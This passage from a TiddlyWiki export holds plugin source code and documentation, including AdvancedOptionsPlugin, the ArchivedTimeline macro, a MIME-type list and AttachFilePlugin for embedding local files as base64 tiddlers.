  // define tools
  var adjustEditorRows={
  		  CAPTION:'adjust rows of editor',
  		  HANDLER: AdjustEditorRows_getRows
  		};

  // register tools
  wikibarStore.addon.adjustEditorRows = adjustEditorRows;
}

function AdjustEditorRows_getRows(param){
  var rows = prompt('input rows of editor', config.maxEditRows);
  if(rows && !isNaN(rows)){
    config.maxEditRows = rows;

    var editor = param.button.editor;
    editor.rows = rows;
  }
}



//}}}
/***
|Name|AdvancedOptionsPlugin|
|Source|http://www.TiddlyTools.com/#AdvancedOptionsPlugin|
|Documentation|http://www.TiddlyTools.com/#AdvancedOptionsPlugin|
|Version|1.2.0|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.3|
|Type|plugin|
|Description|automatically add plugin-defined options to the [[AdvancedOptions]] shadow tiddler|
!!!!!Usage
<<<
At document startup, this plugin examines each tiddler tagged with <<tag systemConfig>> and looks for a tiddler slice named "Options" whose value refers to a tiddler section (or separate tiddler) that contains an 'advanced options control panel' for configuring that plugin's features and behavior.  For each plugin that contains an "Options" slice, a tabbed entry is automatically created in the [[AdvancedOptions]] shadow tiddler to display that plugin's control panel.

As an optional fallback for backward-compatibility with plugin tiddlers that do not define the "Options" slice, this plugin will also look for a section heading named "Configuration" within those tiddlers, so that older plugins that define this section can automatically have their settings added to the [[AdvancedOptions]] tiddler without requiring the "Options" slice to be added.

This plugin also extends the standard {{{<<option>>}}} macro syntax so you can directly set the internal value of a boolean or text option, without displaying a corresponding checkbox or input field control simply by appending {{{=value}}} syntax to the end of the option ID parameter:
{{{
<<option "txtSomeOption=some text">>
<<option chkSomeOtherOption=true>> OR <<option chkSomeOtherOption=false>>
}}}
Example: {{{<<option chkAnimate=false>>}}}
<<<
!!!!!Configuration
<<<
<<option chkAdvancedOptions>> automatically add plugin-defined options to the [[AdvancedOptions]] shadow tiddler
<<option chkAdvancedOptionsBackstage>> automatically add plugin-defined options to Backstage menu
<<option chkAdvancedOptionsFallback>> use <<option txtAdvancedOptionsFallback>> section as a fallback for plugins that don't define an ~AdvancedOptions slice
//note: these settings only take effect after reloading the document//
<<<
!!!!!Revisions
<<<
2009.07.23 [1.2.0] added support for enhanced {{{<<option id=value>>}}} 'direct assignment' syntax
2008.05.09 [1.1.0] add "options" panel to backstage
2008.04.08 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.AdvancedOptionsPlugin= {major: 1, minor: 2, revision: 0, date: new Date(2009,7,23)};

if (config.options.chkAdvancedOptions===undefined)
	config.options.chkAdvancedOptions=true;
if (config.options.chkAdvancedOptionsBackstage===undefined)
	config.options.chkAdvancedOptionsBackstage=true;
if (config.options.chkAdvancedOptionsFallback===undefined)
	config.options.chkAdvancedOptionsFallback=true;
if (config.options.txtAdvancedOptionsFallback===undefined)
	config.options.txtAdvancedOptionsFallback="Configuration";
if (config.optionsDesc) config.optionsDesc.chkAdvancedOptions=
	"automatically add plugin-defined options to [[AdvancedOptions]]";
//}}}
//{{{
var items=[];
var fmt="[[%0 ]] [[view options for %0]] [[%1]]\n";
var section=config.options.txtAdvancedOptionsFallback;
var plugins=store.getTaggedTiddlers("systemConfig");
for (var p=0; p<plugins.length; p++) {
	var tid=plugins[p].title;
	var settings=store.getTiddlerSlice(tid,"Options");
	if (!settings && config.options.chkAdvancedOptionsFallback && store.getTiddlerText(tid+"##"+section))
		settings="##"+section; // fallback handling for older plugins
	if (settings&&settings.length) {
		if (settings.substr(0,2)=="##") settings=tid+settings;
		items.push(fmt.format([tid,settings]));
	}
}
if (items.length) config.shadowTiddlers.PluginOptions=
	"!![[Plugin-defined options|PluginManager]]\n>@@text-align:left;<<tabs '' \n"+items.join(' ')+">>@@";
if (config.options.chkAdvancedOptions)
	config.shadowTiddlers.AdvancedOptions+="{{smallform{{{wrap{<<tiddler PluginOptions>>}}}}}}";
//}}}
//{{{
// // add "options" backstage task
if (config.tasks && config.options.chkAdvancedOptionsBackstage) { // for TW2.2b3 or above
	config.tasks.options = {
		text: "options",
		tooltip: "manage plugin-defined option settings",
		content: "{{smallform{{{groupbox{{{wrap{<<tiddler PluginOptions>>}}}}}}\n{{groupbox small {<<options>>}}}}}}"
	}
	config.backstageTasks.splice(config.backstageTasks.indexOf("plugins")+1,0,"options");
}
//}}}
//{{{
config.macros.option.AOPsave_handler=config.macros.option.handler;
config.macros.option.handler=function(place,macroName,params,wikifier,paramString,tiddler) {
	var parts=params[0].split('=');
	if (parts.length==1) return this.AOPsave_handler.apply(this,arguments);
	var id=parts[0]; var val=(id.substr(0,3)=='txt')?parts[1]:(parts[1]=='true');
	config.options[id]=val;
}
//}}}
!!!Listing Groups of Tiddlers
{{{<<groupBy tags>>}}}
List all tiddlers with the specified tags

{{{<<groupBy fieldname>>}}}
List tiddlers by the specified field

{{{<<groupBy modified dateFormat:"YYYY">>}}}
Group tiddlers modified in a specific year.

{{{<<groupBy tags exclude:excludeLists exclude:systemConfig>>}}}
Group tiddlers by tag, but exclude the tags "excludeLists" and "systemConfig" (typically plugins)

Within a group you can also exclude things by filter:
{{{<<groupBy modifier filter:[tag[film]]>>}}}
Group tiddlers tagged with "film" by modifier.
<<calendar thismonth>>
!Contacts <<newTiddler label:'+' title:'New [[Contact]]' tag:'Contacts' text:'enter notes about this contact'>>
<<tiddler Contacts>>
<<deleteAllTagged>> //''Warning'': This will delete all your Agenda Items!!//
<<tiddler [[dGSDTabAll]]>>
This is only a test note. If I were actually reading this book, this would be a real note. Again, this is ''only'' a test. Do not be alarmed.
/***
!Metadata:
|''Name:''|ArchivedTimeline|
|''Description:''|Timeline archived monthly.|
|''Version:''|0.7.0|
|''Date:''|Aug 25, 2007|
|''Source:''|http://sourceforge.net/project/showfiles.php?group_id=150646|
|''Author:''|BramChen (bram.chen (at) gmail (dot) com)|
|''License:''|[[Creative Commons Attribution-ShareAlike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|''~CoreVersion:''|2.0.11|
|''Browser:''|Firefox 1.5+; InternetExplorer 6.0|

!Syntax:
{{{<<timeline [modified|created [maxentries [dateFormate]]]>>}}}
!Examples:
{{{<<timeline>>}}}
{{{<<timeline created 10>>}}}
{{{<<timeline modified 10 "MMM DD, YYYY">>}}}

!Revision History:
|''Version''|''Date''|''Note''|
|0.7.0|Jul 25, 2006|Accept a date format parameter|
|0.6.3|Jan 14, 2007|Cleaned codes, Removed config.macros.timeline.slider and config.macros.timeline.onClickSlider|
|0.6.2|Dec 10, 2006|Add monthFormat to display month format for Chinese|
|0.6.1|Aug 12, 2006|A great effect on config.macros.timeline.slider for Firefox, thanks Bob McElrath|
|0.6.0|Jul 25, 2006|Runs compatibly with TW 2.1.0 (rev #403+)|
|0.5.2|Jun 21, 2006|Fixed bugs for dateFormat of TW 2.1|
|~|~|Change default dateFormat to "0DD MMM, YYYY"|
|0.5.1|Jun 04, 2006|Added config.macros.archivedTimeline.orderBy for localization|
|0.5.0|Apr 19, 2006|Fixed bug for twice records of the same date ()|
|~|~|Added Date.prototype.convertToLocalYYYYMMDDHHMM<br>in order to backward compatible with 2.0.6-|
|0.4.0|Apr 03, 2006|Added new parameter, {{{<<timeline [sortfield] [maxentries]>>}}}|
|~|~|Added config.options.txtTimelineMaxentries|
|0.3.1|Feb 04, 2006|JSLint checked|
|0.3.0|Feb 04, 2006|Fixed several missing variable declarations|
|0.2.0|Dec 26, 2005|changed for the new feature of Macro timeline of TW 2.0.0 beta 6|
|0.1.0|Nov 3, 2005|Initial release|

!Code section:
***/
//{{{
version.extensions.archivedTimeline = {major: 0, minor: 7, revision: 0,
	date: new Date("Aug 26, 2007"),
	name: "ArchivedTimeline",
	type: "Macro",
	author: "BramChen",
	source: "http://sourceforge.net/project/showfiles.php?group_id=150646"
};
config.options.txtTimelineMaxentries=0;
config.macros.archivedTimeline = {
	tooltips: "Archives sorted by  ",
	orderBy:{modified: "modified", created: "created"},
	monthFormat: "0DD MMM YYYY",
	dateFormat: "0DD MMM YYYY"
};
config.macros.timeline = config.macros.archivedTimeline;

config.macros.timeline.handler = function(place,macroName,params) {
	var field = params[0] ? params[0] : "modified";

	place.appendChild(document.createTextNode(this.tooltips + this.orderBy[field]));
	var tiddlers = store.reverseLookup("tags","excludeLists",false,field);
	var lastMonth = ""; var lastDay = ""; var theText = "----\n"; var i = 0;
	var last = (params[1])?params[1]:config.options.txtTimelineMaxentries;
		last = (isNaN(last)||last<1) ? 0:tiddlers.length-Math.min(tiddlers.length,parseInt(last));
	var dateFormat = params[2] ? params[2] : this.dateFormat;
	var cookie; var archives;
	for (var t=tiddlers.length-1; t>=last; t--) {
		var tiddler = tiddlers[t];
		var theMonth = tiddler[field].convertToLocalYYYYMMDDHHMM().substr(0,6);
		var theDay = tiddler[field].convertToLocalYYYYMMDDHHMM().substr(0,8);
		if(theMonth != lastMonth) {
			if (lastMonth === "") {
				lastMonth = theMonth;
				}
			else {
				place.appendChild(document.createElement('hr'));
				cookie = 'chktimeline'+(i++);
				archives = this.formatString(this.monthFormat, lastMonth);
				var panel = config.macros.slider.createSlider(place,cookie,archives,this.tooltips + archives);
				wikify(theText,panel);
				lastMonth = theMonth; theText = '----\n';
			}
		}
		if(theDay != lastDay){
			theText +=  tiddler[field].formatString(dateFormat) + '\n';
			lastDay = theDay; 
		}
		theText += '* [[' + tiddler.title + ']]\n';
	}
	place.appendChild(document.createElement('hr'));
	cookie = 'chktimeline'+(i++);
	archives = this.formatString(this.monthFormat, lastMonth);
	var panel = config.macros.slider.createSlider(place,cookie,archives,this.tooltips + archives);
	wikify(theText,panel);
	place.appendChild(document.createElement('hr'));
};

config.macros.timeline.formatString = function(template, yyyymm)
{
	var dateString = new Date(yyyymm.substr(0,4)+'/'+yyyymm.substr(4,2)+'/01');
	template = template.replace(/DDD|0DD|DD/g,'');
	return dateString.formatString(template);
};
if (!Date.prototype.convertToLocalYYYYMMDDHHMM){
	Date.prototype.convertToLocalYYYYMMDDHHMM = function(){
		return(String.zeroPad(this.getFullYear(),4) + String.zeroPad(this.getMonth()+1,2) + String.zeroPad(this.getDate(),2) + String.zeroPad(this.getHours(),2) + String.zeroPad(this.getMinutes(),2));
	}
}
//}}}
This plugin is used in the History tab for a nicer view.


text/plain
.txt .text .js .vbs .asp .cgi .pl
----
text/html
.htm .html .hta .htx .mht
----
text/comma-separated-values
.csv
----
text/javascript
.js
----
text/css
.css
----
text/xml
.xml .xsl .xslt
----
text/x-vcard
.vcf
.vcard
----
image/gif
.gif
----
image/jpeg
.jpg .jpe .jpeg
----
image/png
.png
----
image/bmp
.bmp
----
image/tiff
.tif .tiff
----
audio/basic
.au .snd
----
audio/wav
.wav
----
audio/x-pn-realaudio
.ra .rm .ram
----
audio/x-midi
.mid .midi
----
audio/mp3
.mp3
----
audio/m3u
.m3u
----
video/x-ms-asf
.asf
----
video/avi
.avi
----
video/mpeg
.mpg .mpeg
----
video/quicktime
.qt .mov .qtvr
----
application/pdf
.pdf
----
application/rtf
.rtf
----
application/postscript
.ai .eps .ps
----
application/wordperfect
.wpd
----
application/mswrite
.wri
----
application/msexcel
.xls .xls3 .xls4 .xls5 .xlw
----
application/msword
.doc
----
application/mspowerpoint
.ppt .pps
----
application/x-director
.swa
----
application/x-shockwave-flash
.swf
----
application/x-zip-compressed
.zip
----
application/x-gzip
.gz
----
application/x-rar-compressed
.rar
----
application/octet-stream
.com .exe .dll .ocx
----
application/java-archive
.jar
/***
|Name|AttachFilePlugin|
|Source|http://www.TiddlyTools.com/#AttachFilePlugin|
|Documentation|http://www.TiddlyTools.com/#AttachFilePluginInfo|
|Version|4.0.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Requires|AttachFilePluginFormatters, AttachFileMIMETypes|
|Description|Store binary files as base64-encoded tiddlers with fallback links for separate local and/or remote file storage|
Store or link binary files (such as jpg, gif, pdf or even mp3) within your TiddlyWiki document and then use them as images or links from within your tiddler content.
> Important note: As of version 3.6.0, in order to //render// images and other binary attachments created with this plugin, you must also install [[AttachFilePluginFormatters]], which extends the behavior of the TiddlyWiki core formatters for embedded images ({{{[img[tooltip|image]]}}}), linked embedded images ({{{[img[tooltip|image][link]]}}}), and external/"pretty" links ({{{[[label|link]]}}}), so that these formatter will process references to attachment tiddlers as if a normal file reference had been provided. |
!!!!!Documentation
>see [[AttachFilePluginInfo]]
!!!!!Inline interface (live)
>see [[AttachFile]] (shadow tiddler)
><<tiddler AttachFile>>
!!!!!Revisions
<<<
2011.02.14 4.0.1 fix OSX error: use picker.file.path
2009.06.04 4.0.0 changed attachment storage format to use //sections// instead of embedded substring markers.
|please see [[AttachFilePluginInfo]] for additional revision details|
2005.07.20 1.0.0 Initial Release
<<<
!!!!!Code
***/
// // version
//{{{
version.extensions.AttachFilePlugin= {major: 4, minor: 0, revision: 1, date: new Date(2011,2,14)};

// shadow tiddler
config.shadowTiddlers.AttachFile="<<attach inline>>";

// add 'attach' backstage task (insert before built-in 'importTask')
if (config.tasks) { // for TW2.2b or above
	config.tasks.attachTask = {
		text: "attach",
		tooltip: "Attach a binary file as a tiddler",
		content: "<<attach inline>>"
	}
	config.backstageTasks.splice(config.backstageTasks.indexOf("importTask"),0,"attachTask");
}

config.macros.attach = {
// // lingo
//{{{
	label: "attach file",
	tooltip: "Attach a file to this document",
	linkTooltip: "Attachment: ",

	typeList: "AttachFileMIMETypes",

	titlePrompt: " enter tiddler title...",
	MIMEPrompt: "<option value=''>select MIME type...</option><option value='editlist'>[edit list...]</option>",
	localPrompt: " enter local path/filename...",
	URLPrompt: " enter remote URL...",

	tiddlerErr: "Please enter a tiddler title",
	sourceErr: "Please enter a source path/filename",
	storageErr: "Please select a storage method: embedded, local or remote",
	MIMEErr: "Unrecognized file format.  Please select a MIME type",
	localErr: "Please enter a local path/filename",
	URLErr: "Please enter a remote URL",
	fileErr: "Invalid path/file or file not found",

	tiddlerFormat: '!usage\n{{{%0}}}\n%0\n!notes\n%1\n!type\n%2\n!file\n%3\n!url\n%4\n!data\n%5\n',

//}}}
// // macro definition
//{{{
	handler:
	function(place,macroName,params) {
		if (params && !params[0])
			{ createTiddlyButton(place,this.label,this.tooltip,this.toggleAttachPanel); return; }
		var id=params.shift();
		this.createAttachPanel(place,id+"_attachPanel",params);
		document.getElementById(id+"_attachPanel").style.position="static";
		document.getElementById(id+"_attachPanel").style.display="block";
	},
//}}}
//{{{
	createAttachPanel:
	function(place,panel_id,params) {
		if (!panel_id || !panel_id.length) var panel_id="_attachPanel";
		// remove existing panel (if any)
		var panel=document.getElementById(panel_id); if (panel) panel.parentNode.removeChild(panel);
		// set styles for this panel
		setStylesheet(this.css,"attachPanel");
		// create new panel
		var title=""; if (params && params[0]) title=params.shift();
		var types=this.MIMEPrompt+this.formatListOptions(store.getTiddlerText(this.typeList)); // get MIME types
		panel=createTiddlyElement(place,"span",panel_id,"attachPanel",null);
		var html=this.html.replace(/%id%/g,panel_id);
		html=html.replace(/%title%/g,title);
		html=html.replace(/%disabled%/g,title.length?"disabled":"");
		html=html.replace(/%IEdisabled%/g,config.browser.isIE?"disabled":"");
		html=html.replace(/%types%/g,types);
		panel.innerHTML=html;
		if (config.browser.isGecko) { // FF3 FIXUP
			document.getElementById("attachSource").style.display="none";
			document.getElementById("attachFixPanel").style.display="block";
		}
		return panel;
	},
//}}}
//{{{
	toggleAttachPanel:
	function (e) {
		if (!e) var e = window.event;
		var parent=resolveTarget(e).parentNode;
		var panel = document.getElementById("_attachPanel");
		if (panel==undefined || panel.parentNode!=parent)
			panel=config.macros.attach.createAttachPanel(parent,"_attachPanel");
		var isOpen = panel.style.display=="block";
		if(config.options.chkAnimate)
			anim.startAnimating(new Slider(panel,!isOpen,e.shiftKey || e.altKey,"none"));
		else
			panel.style.display = isOpen ? "none" : "block" ;
		e.cancelBubble = true;
		if (e.stopPropagation) e.stopPropagation();
		return(false);
	},
//}}}
//{{{
	formatListOptions:
	function(text) {
		if (!text || !text.trim().length) return "";
		// get MIME list content from text
		var parts=text.split("\n----\n");
		var out="";
		for (var p=0; p<parts.length; p++) {
			var lines=parts[p].split("\n");
			var label=lines.shift(); // 1st line=display text
			var value=lines.shift(); // 2nd line=item value
			out +='<option value="%1">%0</option>'.format([label,value]);
		}
		return out;
	},
//}}}
// // interface definition
//{{{
	css:
	".attachPanel { display: none; position:absolute; z-index:10; width:35em; right:105%; top:0em;\
		background-color: #eee; color:#000; font-size: 8pt; line-height:110%;\
		border:1px solid black; border-bottom-width: 3px; border-right-width: 3px;\
		padding: 0.5em; margin:0em; -moz-border-radius:1em;-webkit-border-radius:1em; text-align:left }\
	.attachPanel form { display:inline;border:0;padding:0;margin:0; }\
	.attachPanel select { width:99%;margin:0px;font-size:8pt;line-height:110%;}\
	.attachPanel input  { width:98%;padding:0px;margin:0px;font-size:8pt;line-height:110%}\
	.attachPanel textarea { width:98%;margin:0px;height:2em;font-size:8pt;line-height:110%}\
	.attachPanel table { width:100%;border:0;margin:0;padding:0;color:inherit; }\
	.attachPanel tbody, .attachPanel tr, .attachPanel td { border:0;margin:0;padding:0;color:#000; }\
	.attachPanel .box { border:1px solid black; padding:.3em; margin:.3em 0px; background:#f8f8f8; \
		-moz-border-radius:5px;-webkit-border-radius:5px; }\
	.attachPanel .chk { width:auto;border:0; }\
	.attachPanel .btn { width:auto; }\
	.attachPanel .btn2 { width:49%; }\
	",
//}}}
//{{{
	html:
	'<form>\
		attach from source file\
		<input type="file" id="attachSource" name="source" size="56"\
			onChange="config.macros.attach.onChangeSource(this)">\
		<div id="attachFixPanel" style="display:none"><!-- FF3 FIXUP -->\
			<input type="text" id="attachFixSource" style="width:90%"\
				title="Enter a path/file to attach"\
				onChange="config.macros.attach.onChangeSource(this);">\
			<input type="button" style="width:7%" value="..."\
				title="Enter a path/file to attach"\
				onClick="config.macros.attach.askForFilename(document.getElementById(\'attachFixSource\'));">\
		</div><!--end FF3 FIXUP-->\
		<div class="box">\
		<table style="border:0"><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
			embed data <input type=checkbox class=chk name="useData" %IEdisabled% \
				onclick="if (!this.form.MIMEType.value.length)\
					this.form.MIMEType.selectedIndex=this.checked?1:0; ">&nbsp;\
		</td><td style="border:0">\
			<select size=1 name="MIMEType" \
				onchange="this.title=this.value; if (this.value==\'editlist\')\
					{ this.selectedIndex=this.form.useData.checked?1:0; story.displayTiddler(null,config.macros.attach.typeList,2); return; }">\
				<option value=""></option>\
				%types%\
			</select>\
		</td></tr><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
			local link <input type=checkbox class=chk name="useLocal"\
				onclick="this.form.local.value=this.form.local.defaultValue=this.checked?config.macros.attach.localPrompt:\'\';">&nbsp;\
		</td><td style="border:0">\
			<input type=text name="local" size=15 autocomplete=off value=""\
				onchange="this.form.useLocal.checked=this.value.length" \
				onkeyup="this.form.useLocal.checked=this.value.length" \
				onfocus="if (!this.value.length) this.value=config.macros.attach.localPrompt; this.select()">\
		</td></tr><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
			remote link <input type=checkbox class=chk name="useURL"\
				onclick="this.form.URL.value=this.form.URL.defaultValue=this.checked?config.macros.attach.URLPrompt:\'\';\">&nbsp;\
		</td><td style="border:0">\
			<input type=text name="URL" size=15 autocomplete=off value=""\
				onfocus="if (!this.value.length) this.value=config.macros.attach.URLPrompt; this.select()"\
				onchange="this.form.useURL.checked=this.value.length;"\
				onkeyup="this.form.useURL.checked=this.value.length;">\
		</td></tr></table>\
		</div>\
		<table style="border:0"><tr style="border:0"><td style="border:0;text-align:right;vertical-align:top;width:1%;white-space:nowrap">\
			notes&nbsp;\
		</td><td style="border:0" colspan=2>\
			<textarea name="notes" style="width:98%;height:3.5em;margin-bottom:2px"></textarea>\
		</td><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
			attach as&nbsp;\
		</td><td style="border:0" colspan=2>\
			<input type=text name="tiddlertitle" size=15 autocomplete=off value="%title%"\
				onkeyup="if (!this.value.length) { this.value=config.macros.attach.titlePrompt; this.select(); }"\
				onfocus="if (!this.value.length) this.value=config.macros.attach.titlePrompt; this.select()" %disabled%>\
		</td></tr></tr><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
			add tags&nbsp;\
		</td><td style="border:0">\
			<input type=text name="tags" size=15 autocomplete=off value="" onfocus="this.select()">\
		</td><td style="width:40%;text-align:right;border:0">\
			<input type=button class=btn2 value="attach"\
				onclick="config.macros.attach.onClickAttach(this)"><!--\
			--><input type=button class=btn2 value="close"\
				onclick="var panel=document.getElementById(\'%id%\'); if (panel) panel.parentNode.removeChild(panel);">\
		</td></tr></table>\
	</form>',
//}}}
// // control processing
//{{{
	onChangeSource:
	function(here) {
		var form=here.form;
		var list=form.MIMEType;
		var theFilename  = here.value;
		var theExtension = theFilename.substr(theFilename.lastIndexOf('.')).toLowerCase();
		// if theFilename is in current document folder, remove path prefix and use relative reference
		var h=document.location.href; folder=getLocalPath(decodeURIComponent(h.substr(0,h.lastIndexOf("/")+1)));
		if (theFilename.substr(0,folder.length)==folder) theFilename='./'+theFilename.substr(folder.length);
		else theFilename='file:///'+theFilename; // otherwise, use absolute reference
		theFilename=theFilename.replace(/\\/g,"/"); // fixup: change \ to /
		form.useLocal.checked = true;
		form.local.value = theFilename;
		form.useData.checked = !form.useData.disabled;
		list.selectedIndex=1;
		for (var i=0; i<list.options.length; i++) // find matching MIME type
			if (list.options[i].value.indexOf(theExtension)!=-1) { list.selectedIndex = i; break; }
		if (!form.tiddlertitle.disabled)
			form.tiddlertitle.value=theFilename.substr(theFilename.lastIndexOf('/')+1); // get tiddlername from filename
	},
//}}}
//{{{
	onClickAttach:
	function (here) {
		clearMessage();
		// get input values
		var form=here.form;
		var src=form.source; if (config.browser.isGecko) src=document.getElementById("attachFixSource");
		src=src.value!=src.defaultValue?src.value:"";
		var when=(new Date()).formatString(config.macros.timeline.dateFormat);
		var title=form.tiddlertitle.value;
		var local = form.local.value!=form.local.defaultValue?form.local.value:"";
		var url = form.URL.value!=form.URL.defaultValue?form.URL.value:"";
		var notes = form.notes.value;
		var tags = "attachment excludeMissing "+form.tags.value;
		var useData=form.useData.checked;
		var useLocal=form.useLocal.checked;
		var useURL=form.useURL.checked;
		var mimetype = form.MIMEType.value.length?form.MIMEType.options[form.MIMEType.selectedIndex].text:"";
		// validate checkboxes and get filename
		if (useData) {
			if (src.length) { if (!theLocation) var theLocation=src; }
			else { alert(this.sourceErr); src.focus(); return false; }
		}
		if (useLocal) {
			if (local.length) { if (!theLocation) var theLocation = local; }
			else { alert(this.localErr); form.local.focus(); return false; }
		}
		if (useURL) {
			if (url.length) { if (!theLocation) var theLocation = url; }
			else { alert(this.URLErr); form.URL.focus(); return false; }
		}
		if (!(useData||useLocal||useURL))
			{ form.useData.focus(); alert(this.storageErr); return false; }
		if (!theLocation)
			{ src.focus(); alert(this.sourceErr); return false; }
		if (!title || !title.trim().length || title==this.titlePrompt)
			{ form.tiddlertitle.focus(); alert(this.tiddlerErr); return false; }
		// if not already selected, determine MIME type based on filename extension (if any)
		if (useData && !mimetype.length && theLocation.lastIndexOf('.')!=-1) {
			var theExt = theLocation.substr(theLocation.lastIndexOf('.')).toLowerCase();
			var theList=form.MIMEType;
			for (var i=0; i<theList.options.length; i++)
				if (theList.options[i].value.indexOf(theExt)!=-1)
					{ var mimetype=theList.options[i].text; theList.selectedIndex=i; break; }
		}
		// attach the file
		return this.createAttachmentTiddler(src, when, notes, tags, title,
			useData, useLocal, useURL, local, url, mimetype);
	},
	getMIMEType:
	function(src,def) {
		var ext = src.substr(src.lastIndexOf('.')).toLowerCase();
		var list=store.getTiddlerText(this.typeList);
		if (!list || !list.trim().length) return def;
		// get MIME list content from tiddler
		var parts=list.split("\n----\n");
		for (var p=0; p<parts.length; p++) {
			var lines=parts[p].split("\n");
			var mime=lines.shift(); // 1st line=MIME type
			var match=lines.shift(); // 2nd line=matching extensions
			if (match.indexOf(ext)!=-1) return mime;
		}
		return def;
	},
	createAttachmentTiddler:
	function (src, when, notes, tags, title, useData, useLocal, useURL, local, url, mimetype, noshow) {
		if (useData) { // encode the data
			if (!mimetype.length) {
				alert(this.MIMEErr);
				form.MIMEType.selectedIndex=1; form.MIMEType.focus();
				return false;
			}
			var d = this.readFile(src); if (!d) { return false; }
			displayMessage('encoding '+src);
			var encoded = this.encodeBase64(d);
			displayMessage('file size='+d.length+' bytes, encoded size='+encoded.length+' bytes');
		}
		var usage=(mimetype.substr(0,5)=="image"?'[img[%0]]':'[[%0|%0]]').format([title]);
		var theText=this.tiddlerFormat.format([
			usage, notes.length?notes:'//none//', mimetype,
			useLocal?local.replace(/\\/g,'/'):'', useURL?url:'',
			useData?('data:'+mimetype+';base64,'+encoded):'' ]);
		store.saveTiddler(title,title,theText,config.options.txtUserName,new Date(),tags);
		var panel=document.getElementById("attachPanel"); if (panel) panel.style.display="none";
		if (!noshow) { story.displayTiddler(null,title); story.refreshTiddler(title,null,true); }
		displayMessage('attached "'+title+'"');
		return true;
	},
//}}}
// // base64 conversion
//{{{
	encodeBase64:
	function (d) {
		if (!d) return null;
		// encode as base64
		var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
		var out="";
		var chr1,chr2,chr3="";
		var enc1,enc2,enc3,enc4="";
		for (var count=0,i=0; i<d.length; ) {
			chr1=d.charCodeAt(i++);
			chr2=d.charCodeAt(i++);
			chr3=d.charCodeAt(i++);
			enc1=chr1 >> 2;
			enc2=((chr1 & 3) << 4) | (chr2 >> 4);
			enc3=((chr2 & 15) << 2) | (chr3 >> 6);
			enc4=chr3 & 63;
			if (isNaN(chr2)) enc3=enc4=64;
			else if (isNaN(chr3)) enc4=64;
			out+=keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);
			chr1=chr2=chr3=enc1=enc2=enc3=enc4="";
		}
		return out;
	},
	decodeBase64: function(input) {
		var out="";
		var chr1,chr2,chr3;
		var enc1,enc2,enc3,enc4;
		var i = 0;
		// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
		input=input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
		do {
			enc1=keyStr.indexOf(input.charAt(i++));
			enc2=keyStr.indexOf(input.charAt(i++));
			enc3=keyStr.indexOf(input.charAt(i++));
			enc4=keyStr.indexOf(input.charAt(i++));
			chr1=(enc1 << 2) | (enc2 >> 4);
			chr2=((enc2 & 15) << 4) | (enc3 >> 2);
			chr3=((enc3 & 3) << 6) | enc4;
			out=out+String.fromCharCode(chr1);
			if (enc3!=64) out=out+String.fromCharCode(chr2);
			if (enc4!=64) out=out+String.fromCharCode(chr3);
		} while (i<input.length);
		return out;
	},
//}}}
// // I/O functions
//{{{
	readFile: // read local BINARY file data
	function(filePath) {
		if(!window.Components) { return null; }
		try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); }
		catch(e) { alert("access denied: "+filePath); return null; }
		var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
		try { file.initWithPath(filePath); } catch(e) { alert("cannot read file - invalid path: "+filePath); return null; }
		if (!file.exists()) { alert("cannot read file - not found: "+filePath); return null; }
		var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
		inputStream.init(file, 0x01, 00004, null);
		var bInputStream = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream);
		bInputStream.setInputStream(inputStream);
		return(bInputStream.readBytes(inputStream.available()));
	},
//}}}
//{{{
	writeFile:
	function(filepath,data) {
		// TBD: decode base64 and write BINARY data to specified local path/filename
		return(false);
	},
//}}}
//{{{
	askForFilename: // for FF3 fixup
	function(target) {
		var msg=config.messages.selectFile;
		if (target && target.title) msg=target.title; // use target field tooltip (if any) as dialog prompt text
		// get local path for current document
		var path=getLocalPath(document.location.href);
		var p=path.lastIndexOf("/"); if (p==-1) p=path.lastIndexOf("\\"); // Unix or Windows
		if (p!=-1) path=path.substr(0,p+1); // remove filename, leave trailing slash
		var file=""
		var result=window.mozAskForFilename(msg,path,file,true); // FF3 FIXUP ONLY
		if (target && result.length) // set target field and trigger handling
			{ target.value=result; target.onchange(); }
		return result; 
	}
};
//}}}
//{{{
if (window.mozAskForFilename===undefined) { // also defined by CoreTweaks (for ticket #604)
	window.mozAskForFilename=function(msg,path,file,mustExist) {
		if(!window.Components) return false;
		try {
			netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
			var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
			var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
			picker.init(window, msg, mustExist?nsIFilePicker.modeOpen:nsIFilePicker.modeSave);
			var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
			thispath.initWithPath(path);
			picker.displayDirectory=thispath;
			picker.defaultExtension='';
			picker.defaultString=file;
			picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
			if (picker.show()!=nsIFilePicker.returnCancel)
				var result=picker.file.path;
		}
		catch(ex) { displayMessage(ex.toString()); }
		return result;
	}
}
//}}}
Used to attach a file (or file link) to a Tiddler. "attach file" is shown in the Tiddlers tab.
/***
|Name|AttachFilePluginFormatters|
|Source|http://www.TiddlyTools.com/#AttachFilePluginFormatters|
|Version|4.0.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1.3|
